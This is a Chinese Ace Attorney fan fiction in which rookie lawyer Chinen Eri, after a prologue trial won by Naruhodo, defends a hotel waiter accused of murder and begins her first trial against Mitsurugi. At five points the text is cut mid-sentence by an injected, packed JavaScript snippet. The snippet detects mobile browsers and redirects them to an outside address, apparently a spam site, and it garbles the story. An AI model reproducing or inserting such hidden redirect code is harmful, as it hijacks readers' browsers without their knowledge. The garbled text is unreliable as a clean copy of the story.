《「逆转同人」诶?我来逆转?!》 1. 再见逆转 [ 哈....哈....哈..... 早这样不就好了, 真是....害得我还要.... ....不过现在该怎么办? .........有了! 这可不能怪我, 谁让你刚好撞上来.... ] —————————————————————— “异议!” 一道响亮的男声打破了法庭的寂静,四周空气凝滞,每个人都屏息等待他接下来的话语。 “竹内先生,你根本就不可能看得见凶手行凶的过程!” 此话一出,法庭顿时喧哗起来。细碎交谈声不绝于耳,众人皆惊讶于他的言论。 “肃静!肃静!” 位于法庭最中心的审判长拿起木槌重重敲下,四周重归平静,他于是转头看向站在辩护台的男人缓缓开口:“辩护人,你有证据可以证明这一点吗?” “当然,根据证人刚才的证言,案发时他正在湖边的长椅上小憩,突然听到身后传来男女激烈争吵的声音,他转头恰好就看到被告举起手中酒瓶砸向被害人的后脑,也就是目睹了凶手行凶的全过程........可这是根本不可能的。” “...成步堂,不是把证人的证言重复一遍再加个不可能就算质疑成功,你需要拿出证据。” 说这话的是一个戴着眼镜身材矮小又驼背的男人,他是检方律师亚内武文。 “证据就是我手中这张告示,”说着成步堂拿出一张边角略有磨损的纸,“这片区域早在案发前的几个月就被关闭并禁止进入,告示上也清晰地标明了这一点,“因葫芦湖改造施工需要,即日起对葫芦湖及周边区域进行封闭施工...施工时间:5月3日至8月24日”,试问竹内先生要怎样才能在5月6日进入这片区域。同时又恰好在这里看到完整的案发过程!” “所以,”成步堂先是重重地拍了下桌,之后又举起右手直直指向证人台,“证人根本就没有看到案发过程!” “什、什么!”亚内张大了嘴,一副不可置信的模样。 比起他,审判长倒是十分淡定:“证人,这是怎么回事?” “我...我...我...” 竹内邦夫支支吾吾半天也说不出一句话,他脸上写满了慌乱,身体也不自觉扭动着,汗液正顺着他的头顶不断下落。憋了半天,他才终于找到理由:“是、是我记错了,我当时并没有在长椅上休息,而是坐在石路旁的灌木丛里,就在离案发现场不远的位置。” “竹内先生,请你注意,法庭上的发言需要正确诚实,不可反复更改。从刚才的行为来看,你本人倒是越来越可疑了。” 审判长严肃的口吻似乎震慑到了竹内,连说话都有些底气不足:“对、对不起,我也是第一次看见凶案过程,惊吓过度所以才会这样...” “好了,请你继续证言吧。”审判长不耐地打断了他。 “好、好的。” ~关于“看到凶案的位置”这件事~ “我当时的状态有些特殊,所以才会记错自己的位置。 但看到凶案发生现场这件事,是千真万确,绝对没有错的。 因为当时,我就在离案发现场大约五十米的灌木丛里! 犯人就是在那里,用“獭祭”朝着被害人的后颈狠狠砸下去的!” —————————————————————— ““状态有些特殊”,虽然不知道是怎样的状态,但如果很特殊的话,倒是可以理解。” 审判长继续说着:“那么,辩护人。请你进行讯问。” “好的。” 成步堂摩挲下巴缓缓开口:“‘獭祭’是什么?” “当然是一种酒的牌子,一种非常好喝的酒。” “你怎么会知道犯人拿的就是这种酒?” “你这个人、你这个人到底是要怎样啊!从刚刚开始就一直摆着副臭架子追问个不停。我不是都说了吗,当时的位置离案发现场很近啊!” “可是五十米的距离,又是在晚上,案发现场周围也只有一盏光线不太明亮的路灯,这样的环境下你也能看清犯人手里拿的是什么酒吗?” “异议!”亚内用他嘶哑的嗓音试图阻止成步堂的进一步讯问。 “证人如何知道酒的种类这件事与本案无关,辩方律师分明就是在拖延时间!” “的确如此。辩方律师,这件事与案件并无关联,我想没有必要继续讯问了吧?” “有必要。”成步堂目无表情,声音却十分坚定。 “有、有必要吗?”审判长有些错愕。 “是的,有必要。” “咳、咳,既然这样,那就请你继续吧。” “竹内先生,你究竟是如何得知犯人手上拿着的酒是什么牌子的?” “........感觉。” “感觉?” “就像你说的,想要在那种灯光下看清他手里拿的东西的确很困难,我只能看见酒瓶的大致形状,不过这样也足够了,毕竟我可是附近有名的“酒大王”啊!”竹内说着叉腰哈哈大笑起来。 “那么,你平时饮酒的频率是怎样的呢?” “酒嘛,当然是每天都喝最好,一天都不能落下。” “所以案发当天也喝了?” “当然,”竹内以十分理所当然的语气答道,但下一秒他便抱着脑袋痛苦的哀嚎:“啊啊啊啊!!!!怎么会这样!!!” “证人!你从来没跟我说过还有这种事啊!!”这是崩溃的亚内。 “审判长,证人当天的特殊状态想必就是喝醉了,也是因此才会弄错地点。既然如此,证人说自己目击到案发经过这件事也非常值得怀疑。” “嗯........说的没错,醉酒状态下视线模糊,会看错什么也说不定。”审判长点头赞同道。 “不、不会的,我当时很清醒,并没有喝醉!那点酒根本难不倒我!我只是记错了地点而已,对!我只是记错了地点!除此之外的证言绝对没有问题!”眼见审判长真信了成步堂的话,竹内连忙不停找补。 “所以犯人果然是用“獭祭”砸向受害人的?” “当然,绝对没错!而且那还是最近生产的新酒!” (好,露出破绽了。) 成步堂乘胜追击:“竹内先生,目睹案发经过后害怕凶手逃离所以并没有仔细观察过现场,只赶忙跑去报案的你,可以如此清楚地说出凶器的相关细节——”,他的双手又重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266026|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍下,再次举起的右手指向了站在中央的竹内,“只有一个解释,真的犯人其实是你,竹内邦夫!会对“凶器”如此了解,当然是因为拿起酒瓶砸向被害人山田枫小姐后颈的人其实是你!” “异议!”声嘶力竭的亚内试图进行最后一博,“成步堂,你、你这是栽赃诬陷!” “我究竟是不是在栽赃诬陷,只要看看证人衣服上是不是缺一颗纽扣就知道了。” 亚内惊诧道:“这是什么意思?!” 成步堂略感无奈地摇了摇头:“亚内检察官,你居然连被害人包里有颗不属于她衣服上纽扣都不知道吗?这件证物可是你们检方提供的。” “而纽扣就是凶手与被害人争执时不慎被勾下并滑落包中的,恐怕凶手自己也不曾察觉到这一点,所以今天才依旧穿着那件衣服出庭作证。我说得对吗,竹内先生?” “啊啊啊啊啊啊啊————————” 就在这时,证人台的竹内邦夫抱住脑袋不停砸向木桌,接着发出了一连串痛苦的怒号,他近乎嘶吼地喊道:“明明没有人看见!一个人都没有!为什么!!为什么会变成这样!!!” 竹内邦夫的骤变令众人哑然,他这副不打自招的模样恰好印证了成步堂的话。 周围在片刻寂静后又再次热络起来,人声鼎沸,法庭就这样成了菜市场。 “肃静!” 审判长用力敲击木槌,当当声打断了人们的谈话,他在平复情绪后才慢慢开口:“目前的状况可以说有了很大的转变。亚内检察官,竹内邦夫呢?” “是!刚刚、刚刚已经被紧急逮捕了。” “很好,那么接下来。” 审判长深吸一气,缓缓吐出后面的话语:“本院在此宣布,矢张政志的判决—— “无罪!” “那么,本日就此闭庭!” 5月9日下午2时47分 地方法院被告第5休息室 “成步堂!我就知道委托你帮忙绝对不会有错的!呜呜,真是太感谢你了!” 矢张泪眼汪汪地看着成步堂龙一,被以这样眼神盯住的成步堂却是以手扶额轻轻叹了口气。 “不过矢张,你的运气也真是够差劲的。在湖边散步就能撞见凶杀案什么的....一般人很难做到吧。” “别这么说嘛,我会去那里,也只是想重温与和美的甜蜜时光,本来是很美好的事情,谁知道会这样....”说着说着,矢张又忍不住放声大哭。 就在这时—— “成步堂哥!恭喜你!始终先生!也同样恭喜你!” 那么这个声音的主人是谁呢? “哦哦!绘里,你也来了。” “绘里酱!你、你居然来了?!” “是的!我一直都坐在后面的旁听席注视着大家。成步堂哥!你刚才在法庭那招“帅气一指”真是太棒了!那样的气势,证人完全被你威慑住了!就连检方律师也没有幸免呢!真是——太帅气了!” “啊、啊,那个嘛,其实就是一种在法庭上使用的手段........总之,绘里,先回事务所吧,我有些事想要跟你说。” “好的!” 那个时候,那样爽快回答的我不会想到,这件事会给我带来怎样的影响........ 2. 逆转酒店1 「 只是这样喝酒没意思啊,我们玩点有趣的怎么样? .............. 你看,像这样! 只要我按下这里....... 别开玩笑了。 你是认真的?怎么可能,我可不信。 (**************) ! 怎么会这样!不对,不可能..... 不会有事的,不会有事的,对!什么都没有发生。 」 6月27日 下午2时16分 成步堂法律事务所 —————————————————————— “唉。” 已经过去一个月了,直到现在我还是不敢相信成步堂哥就这样离开,留下萧瑟的事务所,困惑的真宵,和破碎的我。 “为什么这么久了一点消息都没有....不是说很快就会回来吗?这期间万一有人找上门怎么办?我只是作为助手上过几次法庭从来没有作为辩护律师跟检察官对峙过,要是站在法庭上突然大脑重置什么话都说不出来,一定就会输掉辩论害当事人被判有罪,接着宣布自己的律师生涯彻底结束,最后只能去居酒屋打工度日.....” 身上的怨气不断向四周散发,就连本坐在沙发上聚精会神看着手中杂志的真宵都发现了不对劲。 “绘里姐?没事吧?你现在的样子很不妙喔。” 真宵紧贴着我,眼睛一寸不离地黏在我的脸上。 她在担心我,意识到这一点的我,心情竟是有些幸福的酸涩。 “真宵,我或许是个胆小鬼吧。明明还没有正式上过法庭战斗,只是想象着那个画面就已经想要逃跑了。” 我避开真宵的目光,垂下脑袋尽力掩藏自己。 “成步堂哥离开的这段时间,我一直都在害怕有人会到事务所来请求帮忙。毕竟我只是个菜鸟律师,也没有任何实战经验,要是接手的第一个案子就让委托人进监狱.....那我的律师生涯大概还没正式开始就可以直接宣告结束了。” 我无法控制脑中悲观的想法,一张嘴能说出的也只有这样的话,越是这样,心情也越沉重。 衣物的摩擦声在耳畔响起,余光中我瞥见真宵缓缓蹲下正面带微笑从交叠双臂间的缝隙望着我。 “绘里姐是害怕失败吗?唔姆,我接下来这句话对那位未知存在的委托人或许不太公平,但失败也很正常,不是吗?毕竟替人辩护证明清白这种事,很多时候是要靠证据说话,单凭辩护律师一人的力量是很难做到的。” 真宵慢慢笼住了我的右手,从指尖传来的温度让人感到安心,心绪也渐渐平静。 “如果未来某一天绘里姐真的需要上法庭,我也会作为律师助手跟你一同战斗喔。这样一来就算失败也是两人共同的失败,我是绝对不会让绘里姐独自一人承担这些的!” “真宵....” 被她的话语所感染,我忍不住抬头望着这个一脸坚定的少女,她毫无动摇的双眼就像在告诉我,刚才的话并不是为了安慰某人才编造的。她的确就是这样想,也只是把自己的想法全部倾吐出来而已。 不能辜负她的情谊,我这样想着,何况—— “等我回来,说不定就能看见一个成长起来可以独当一面的绘里了。” 受他人期待,果然会很有负担呢。之前不想直面这份压力才一直欺骗自己,想着只要等成步堂哥回来就好了。哪怕自己没有改变,哪怕这样会让周围人的对自己失去信心......真不甘心啊,为什么我不能成为出色的、受人信任的律师呢? 果然还是要踏出那一步吧。 我回握真宵伸出的双手,吐出一口浑气,以更加轻松的语气开口:“真丢脸啊,让真宵看到我的这幅样子。不过你放心,我会振作起来,认真做好事务所的工作!” “嗯!”真宵也放松下来,露出发自心底开心的笑。 “请问这里是成步堂法律事务所没错吧?” 陌生男声的闯入破坏了两人间温馨的氛围,转头看向大门,一个服务生打扮的青年眯眼笑着冲我们点头打了打招呼。 “叫这个名字的事务所在这条街上只有这里没错,请问是有什么事吗?”我回问道。 服务生向我们又来,停在不远却又保持一定距离的位置:“成步堂先生,他现在身在何处呢?” “很抱歉,关于他的去向我也不是非常清楚。” 即便对方没有明说,也能大概猜到他的来意,一定是为了让成步堂哥替某人辩护,为了让某个人重获清白才来到这里。既然如此,这或许是一次机会。 “其实,我姑且也算是一名律师。如果是有什么案件,兴许也帮得上忙。” 就在我说出这话后,一直沉默观察对方的真宵也想起什么似的开口:“啊!你是板东酒店的那个服务生对吧!难怪总觉得十分眼熟。” “诶,真宵认识他吗?” “只是见过几次面啦。” 我重新将目光投向服务生,他没有离开,只是站在原地默默地等待我与真宵结束对话,看来是接受那个提议了。 “如那位小姑娘所言,我曾是成步堂律师事务所对面板东酒店的服务生,现在已升为经理,负责培训酒店其他地区分店员工。今天来,也是为了分店的一位员工。” 他一直笑着,眼神却不如刚才柔和:“请你成为他的辩护律师,在法庭上洗清他的罪名吧。” 这样直接了当的请求不免让我错愕,心底涌现出一丝不妙的预感:“当然没问题,不过我想知道他是以什么罪名被警方起诉的?” “杀人。” “嘶。” 我忍不住倒吸一口凉气,为什么总是不好的预感才会成真。 “刑警来酒店带走他时是这样说的。” 我掏出纸笔,打算一边询问一边记录下有用的信息。 “你一直说的这个“他”是谁?” “山田勇人,他是中原地区分店的一名服务生,也是酒店的重点培养对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266027|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “他是个怎样的人?” “毫无特点,普通的年轻人。脾气倒是出名的好,如果没出这件事,他大概率会在那个分店成为像我一样的人。” “既然是杀人案件,关于受害者你了解多少?” “这个的话,死者名叫大塚和宏,四日前入住酒店,第二天被发现以奇怪的姿势倒在地毯上,我所知道的只有这些。” “奇怪的姿势?这是什么意思?” “‘就像是感觉到了什么,从床上爬起踩上地毯的瞬间身体再也支撑不住跪倒在地,头死死地贴着地面,睁大的双眼里满是不可置信’——不过,这都是在转述现场第一目击者的话。很遗憾,案件发生的当天我并不在那家旅店。” “现场的第一目击者是?” “被告山田勇人。” “!” 意想不到的展开令在我震惊之余不免多了几分疑惑,第一目击者实际上就是凶手,装作一副意外发现案发现场好给自己制造不在场证明这种情节,这在侦探小说里倒是常见的设定,现实中也不是不存在这样的案件。可那些凶手哪有那么快就被抓住的,能想出这个计谋的人不应该这么笨才对啊。 再说我可是他的辩护律师,如果连我都不相信山田勇人是无罪的,又要怎么在法庭上用证据证明他并不是真正的凶手。 调整好心态,我问出了最后一个问题:“除了他之外,现场还有其他的目击者吗?” 服务生脸上现出为难的神色,他摇了摇头:“很抱歉,关于这点我也不清楚,山田或许能带给你答案。” 询问结束,有用的信息还是太少,看来无论如何也要去拘留所见一见本案的被告山田勇人才行了。 不过去之前,还有一件急需处理的事。 “事实上这是我第一次出庭替人辩护,结果究竟会怎样也很难说.....不过我保证一定会拿出十分的认真对待这件案子,尽自己所能帮助山田勇人。” “就算失败让他最后被判有罪入狱也没什么,不如说这样更好。“杀人犯工作过的酒店”,给它冠以这样的称号来打造这所分店,一定会吸引很多好奇的人,不久后那里能够变成本部那样高人气的旅游景点也未可知。” 过于无情的话语配上服务生彬彬有礼的仪态与始终如一的笑容,极致的反差令人不禁感到一阵恶寒。 “从酒店方面来说的确是这样没错。” 服务生收起了笑容,神情霎时变得悲伤:“可从我个人来说,山田那样的人,不应该被这样对待啊。成为某人的替罪羊,被当做凶手受人唾弃。那种老好人,怎么想都不会做出杀人这种事来。” “所以.....拜托你了。” “嗯!” 我重重应下,有压力是必然,可同时也在期待之后的调查。山田勇人,他知道什么?那天到底发生了什么? “总之,山田勇人现在就是我的委托人。走吧真宵,我们要启程去拘留所了。毕竟,作为第一目击者的他肯定知道更多、对案件来说更有用的信息。” 3. 逆转酒店2 6月27日 某时刻 拘留所 会面室 —————————————————————— 啊,来了。 一位身形消瘦的年轻男子坐在我的对面,脸长而尖,两颊凹陷,一双大眼下清晰地刻着两道黑色的阴影。尽管面容如此憔悴,他的双眼依旧盈满澄清的光。 “只看脸的话,很难相信这样的一个人会是杀人凶手。” “真宵,当着本人的面这样说,多少有些不好吧?” “啊,山田先生对不起!我不是那个意思!” 山田勇人轻轻地摇了摇头。 “你好,我是知念绘里,接下来将由我来担任你的辩护律师。” “嗯.....那就拜托你了。” “那么,可以告诉我那天究竟发生了什么?” “....是这样的,大塚先生在三天前,也就是6月24日入住了酒店,我是负责接待他的人。那天晚上他叫了客房服务,在将他需要的东西端至客房后酒店突然发生停电,我只好停在原地等到再次通电才离开。之后我忙着处理酒店的其他工作,没有再见过他。第二天早上我照例巡视时发现大塚先生的客房门并没有关上。说起来真奇怪,不知道为什么,那时的我有种不好的预感.......只是没想到那么快就得到灵验。大塚先生的房门虚掩着,我刚一推开就看到他倒在地上不省人事,无论怎么叫也都没有反应。那个时候我太过害怕于是立马选择报警——只是没想到,最后却是自己被抓进来。” 说到最后山田忍不住地苦笑,明明自己只是在认真工作,莫名就这样被当作杀人凶手,无论是谁都会感到无助和疑惑吧。 “警方逮捕你的理由是什么?” “逮捕我的刑警说,隔壁客房的两位客人指认我在大塚先生推断的死亡时间里有出入过他的房间,并且……..还听到我们之间有爆发过激烈的争吵。” 山田勇人一副欲言又止的模样使我意识那两人的话中有他无法否认的真相。 “山田先生,这又是怎么一回事?你刚才并没有说你们有争吵过吧?” “很抱歉,因为争吵是在大塚先生下午入住后不久,大概是在下午4时3分左右发生的,所以我才会以为这对案件没有帮助……..” 如果没有用的话那两个人也不会对刑警这样说了,山田先生。 虽然很想说出来,考虑到山田勇人目前的情况,还是只在心里默默地吐槽好了。 “可我想知道。请告诉我吧,你们当天因为什么才爆发了争吵?” “也没有什么,就是大塚先生以为自己最心爱的挂件被我偷走了而已。” “为什么听你说起来好像并不在意被人误会偷东西这件事?” “毕竟我没有做那样的事,后来误打误撞地发现武田先生最喜欢的特摄剧目和我竟然出奇地一致,我们因此还亲近了不少。可是,没想到他居然........” 喜好一样吗,这点或许会对案情有所帮助?不过,现在还有一个更加重要的问题: “酒店具体是在几点停电的?” “8时,这个时间我记得很清楚不会有错。在那之后的半小时酒店一直处于黑暗之中,8时30分房间重新通电,我也立刻起身离开了武田先生的房间。” “山田先生,你怎么这么确定就是这个时间?” “酒店房间的墙上都装有时钟,每隔半小时都会发出三声‘咔哒’的声响。除非客人有特别要求,一般不会关闭这个报时功能。” “......你们酒店的生意好吗?” “诶?怎么突然问这个?不过说实话,跟总店相比,不,应该说就算跟一般的酒店相比也不怎么好就是了。” “房间里有这样的东西,晚上很难睡个好觉吧。仅仅是这个原因就足够让人远离了。” “哈哈,说得也是。” “最后一个问题,有什么可以证明你在那之后的确离开了房间?” “酒店要求我们每隔一段时间就要在前台的记录表中填入实时时间及签名,那天我还因为超过了规定时间被值班经理给臭骂一顿。”山田说着不好意思地摸了摸后脑。 会面比想象中的结束得更快,山田无言地起身站在玻璃屏障前微微曲背低头对着我鞠了一躬。 那就拜托你了,他是想表达这个意思吧。 铁门闭合瞬间发出的巨响令我心头一颤,现在无论如何都不能退却,既然这里的线索不够,那就去现场寻找更多的拼图,找到能够拼凑出整个事件的碎片。 —————————————————————— 6月27日 下午3时11分 中原地区分店 酒店大堂 —————————————————————— 亲眼看到才知道,那位服务生说的的确没错。这个酒店的装潢风格简直是随处可见,位置又十分偏僻。要是没有发生命案,的确就只能是一家普通到毫无特点,无法招揽到客人前来的旅店。 “这里居然有在正常的运作吗?” “毕竟还要给员工发放薪水嘛,如果因为还没确定的案件对外关闭,本就不好的生意会更糟糕吧?那样子这里的大家都会很难过的。” “真宵也成长起来了呢。” 真宵正好奇地到处观察,因此并没有听到我的说了什么。 我将目光锁定在前台,站在接待处的是一位年轻的女子,看着不过20左右,靠近些还能看见她脸上的雀斑。 “您好,请问有什么可以帮助到您的吗?” 她飘忽的双眼在捕捉到我的一瞬立马闪出亮光,标志性的营业笑容也出现在脸上——看来我是被当成待宰的肥羊了。 “您好,请问是需要住宿吗?” 才刚将手搭在柜台,这位年轻的小姐便用一连串的话制止我开口:“想必您也是慕名而来的吧?真是想不到,只看外表的话完全感觉不出您是会对这类事件感兴趣的人。啊!这并不是在说您的坏话!只是我这几天接待的都是些怪人,您是当中难得的正经人。有些扯远了——” 她抬起手遮住半张脸凑到我耳边轻声说:“您也是为了“那件事”来的,对吧?” 我迟疑地点了点头,她对这个反应相当满意,嘴角上扬得更加明显。只是她很快就收敛了笑容,撑着脸苦恼地开口:“不过您来得稍微晚了一些呢,575周围的房间,不对,应该说整个五层都已全部预定出去。如果您是抱着想要近距离接触犯罪现场,想要体验深陷黑暗的那种氛围的话,可能要失望而归喽?”说到最后还将尾音故意上扬,用眼神示意我——只要我开口说想要住在那一层,她就能用某种方式为我腾出一间,某种金钱消失术。 万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266028|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸我没钱,这招不管用。 “不不,”我连忙摆手,从包中掏出一直随身携带的律师徽章,将它举起展示在她眼前,“我是一名律师,为了山田勇人的案子前来。” 前台小姐的双眼一下子黯淡了,动作也不再热切,她用手随意地指了指隐藏在转角的电梯间,语气也变得懒散:“喏,上去自己找吧。” 我道了谢转身离开,乘着电梯来到五楼。这里现在无人入住,一间间看过去,标有575的房牌终于在走廊尽头出现。 我从虚掩的房门口探头进去,一件军绿色风衣出现在视野之中,已经有人在这件房里了。 将门推开又在门板上轻敲几下,房里的人听到动静果然转身回头看向了我这边,真是意想不到的熟人。 “哦?!是你,你怎么会在这里?”房里的人率先开口。 “好久不见糸锯刑警,我是为了自己的委托人前来。” “委托人?”糸锯圭介状似思考般摩挲下巴,“你是指山田勇人吧?” 我点了点头,用余光扫了一圈房内的布局,里面十分逼仄,床与壁上挂着的电视间只有一条狭窄的通道,床头两侧各有一个柜子与小桌,上面放置着电话与玻璃花瓶。由于事先没有看过同层其他的房间,这些东西的位置究竟有没有被移动过也未可知。 “我没记错的话,这算是你接手的第一个案子?没想到成步堂还挺放心你啊,竟然没有一起过来。” 我也没有那么让人不放心吧,糸锯刑警。 可惜这些话只能放在心里,我清了清嗓缓缓开口:“成步堂先生还有别的事需要解决,这起案子由我来全权处理。” “第一起案件就要遭遇失败吗,看来知念律师你的运气也不太好啊。” 糸锯的语气不带一丝嘲讽,我相信他刚才的话也绝对是发自真心,但这样反而更让人感到不快。 “为什么这么说?”我试着压下心中的怒气却仍有些咬牙切齿。 “你还不知道吗?这次接手案件的人,是御剑检察官啊。”说完,糸锯双手叉腰自豪地大笑着。 完蛋了。 哪怕自己没有正面对上过御剑检察官,可作为成步堂哥助手的那段时间也已经领略过他的威力了。第一个案子就要碰上这种大boss——新手关卡不应该很简单才对吗?!! “啊,我也是时候与其他人汇合了。那么,加油吧知念律师,可不要因为对手太过强大就轻易放弃啊。” 他说完抬脚就要往外走。 “请等一等!糸锯刑警,你好像忘了些什么。” “我有忘记什么吗?”糸锯边说边摸头回忆,“哦,我忘记说再见了。真是不好意思,不跟人打招呼就离开果然还是不太礼貌啊。” 忍住,忍住。 我深呼一口气慢慢开口:“我是说尸检报告,糸锯刑警,死者的尸检报告你还没给我。” “哦?啊,真是抱歉。” 糸锯恍然大悟,连忙拿出尸检报告递给了我:“虽然不知道该不该说这话......这份报告存在一些奇怪的地方。” “奇怪的的地方?” “你看过就会明白,我不能再多说下去。那么,再会了,知念律师。” 等到糸锯的身影完全消失在这一层楼道之中,我才翻开手中的这份尸检报告仔细看了起来。 “这是?!” 4. 逆转酒店3 不管再看几遍也绝不会有错,尸检报告上白底黑字写着的内容就是: 死者身体表面无明显外伤,仅□□有一处撕裂伤,五脏破裂,死因为被人殴打致死,死亡时间约为晚9时30分至10时。 “这怎么可能?被殴打致死的人身上怎么会没有外伤?” 我一方面对这份报告的描述感到困惑,这样明显的矛盾警方不可能看不出来,可即便这样他们还是将山田勇人当作嫌疑人暂时关押在了拘留所。另一方面又不禁暗暗松了口气,既然存在着这样大的疑点,案件就一定还有转机。 那么现在,来看看房间里还留有什么线索吧。 “死者的公文包竟然还留在现场,该不会是糸锯刑警忘记拿走了?” 虽然是疑问的语气,我心中对此的答案却是肯定。不过也要感谢他的粗心大意就是了,希望能从这里面找到有用的信息。 文件、钱包、数不清的名片以及各种票据......诶,这个玩偶,好像曾经在哪里看到过—— “绘里姐绘里姐!快看!将军超人的战斗姿态真是不管什么时候再看都会让人热血沸腾啊!” “将军超人的玩偶吗?出现在这里总感觉跟周围的物品不太搭配呢。” 最后从包中找到的物品是大塚和宏的私人手机,虽然有些过意不去,我还是毅然决定打开手机翻看起其中的记录。 “通话记录终止在了6月24日下午,也就是说这之后都没有再用这个手机打过电话了吧。” 通讯的对象叫做“薰”,名字前后还各有一颗爱心,看来是一位对大塚先生来说很特别的人。 除上述物品外,公文包里也掏不出其他的什么东西。我将它们放回原处后起身环顾四周,房间里的摆设都十分整齐,门窗也没有被撬动过,看不出一丝一毫有外人闯入的痕迹。要说令人感到奇怪的点,在这样炎热的天气下这间房屋的窗户竟然是完全关闭的,哪怕不做什么剧烈运动,只是待上一会儿也会让人闷热难耐,只想赶快出去。 不过才踏出去两三步,脚下毛毯的异样感就引起了我的注意。 是不是踩到什么东西了? 移开脚屈身低头向下看,一颗烟头正安静地栖息在茂密的红色绒林间,灰白粉末零零散散点缀在周围,而它正好就在痕迹固定线的边缘——就在大塚和宏倒下的位置附近! 此刻我突然想起服务生说的那句:“以怪异的姿势倒在地上”,再看看地上发现的烟头,它不仅就在用白线连成的身体痕迹线旁,甚至离床也才一臂远。可它是谁留在这里的?究竟是死者大塚和宏还是那个隐藏在暗处的凶手? 不管怎么说这都是极为重要的证物,我小心翼翼将它装入证物袋后又在房里来回仔细地寻找,但都一无所获。 回到一楼大堂,我再次走到前台向那位小姐提出想要看看6月24日酒店记录表的请求。砰,厚重的文件被甩在了我面前,同时还有一道声音在耳边响起:“三十四页,是撕下来还是整本带走都请随意。” “啊?”那一刻,我开始怀疑自己是否听力出了问题,“这样真的没问题吗?” “反正你也看到了,这个酒店现在的样子。那种东西,有没有根本无所谓吧。” 前台小姐呆滞地望着空荡的大堂,现在的她与刚才热切招呼自己的那时简直判若两人。 我心情复杂地翻看着面前的记录,出于多种考虑,最后还是只带走记有山田当天行动轨迹的第三十四页,就这样和真宵一同离开了旅店。 明天就要在法庭上正面对峙御剑检察官,我能够做好吗?我可以让山田洗清他的罪名吗?抱着这两个疑问,我迟迟无法进入梦乡,最后被疲累催促着闭上了眼。 —————————————————————— 6月28日上午10时 地方法院第2法庭 —————————————————————— “本院在此宣布,开始审理‘山田勇人’一案。” “检方已准备完毕。” “辩方,辩方已准备完毕。” 没关系的,没关系的。虽然声音还有些颤抖,但只要站在台上就已经成功一半了! “绘里姐,你真的还好吗?腿一直有在抖哦。” 真宵贴近我小声地问道。 “不!完全没事!我真的可以的!” 为了表明自己的确没有任何问题,我不自觉提高了音量。只是从审判长和对面御剑检察官的表情来看.......我似乎又有些过于大声了。 “辩护律师,在法庭,请你注意自己的言行举止,刚才那样的行为不要再有下次。” 好冷漠啊,审判长。 “是!”自知理亏的我只能如此回答。 “那么,御剑检察官,请你进行开场陈述。” “被告山田勇人在案发当晚与被害人处于同一空间,检方已经准备了目击到他犯案的证人,将会严谨地证明被告是有罪的。” “既然如此,那就开始审理。” “现在传唤第一位证人入庭,首先是指挥现场搜查的糸锯刑警。” 糸锯圭介随着他的声音出现在证人台。 “证人,请说出你的名字和职业。” “是!我的名字叫糸锯圭介,负责辖区刑事案件的搜查工作。” “糸锯刑警,请你开始说明案件情况。” “是!请各位先看这张案发房间的平面图。” 糸锯拿起一张简化的房间布局展示在众人面前。 “图中用白线标记的地方就是被害人大塚和宏倒下的位置,被发现时他双膝跪地,头脸朝下靠在了房间的地毯上。” “被害人的死因是什么?” “被人反复击打腹部,五脏破裂而死。” 啊,再听一遍也还是会觉得十分不可思议呢,能做到不留伤痕就能把人打死。 “那么,凶器是什么?” 御剑接着发问。 “没有凶器,犯人是用自己的拳头犯下罪行的。” “糸锯刑警,你逮捕山田勇人的理由是什么呢?” “那是因为在对现场相关人员进行盘问时,有人可以证明山田勇人是被害人死前唯一进出过他房间的人。且被害人的房间并没有被强行闯入的痕迹,能够做到这点的也只有酒店的工作人员。” “这些就是全部了吗?” “是的,更多细节还需要那位证人来进行说明。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266029|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “既然如此,审判长,请允许我传唤第二位证人入庭。” “看来这也是没办法的事,”审判长无奈地摇头,“那就这么做吧。” “完全,没有我什么事呢。” 不同寻常的开庭令人心生怪异,但在某种程度上也给我时间缓解了焦虑。 “总感觉,他们也不是很确定呢。” 真宵看着对面的御剑检察官若有所思道。 “或许是因为没有证物只凭证言来定罪的这种情况过于稀少了吧,检方也会害怕失败。” 就在我们说话的间隙,第二位证人接替过糸锯刑警站在了证人台后。 “证人,请告诉我们你的名字。” 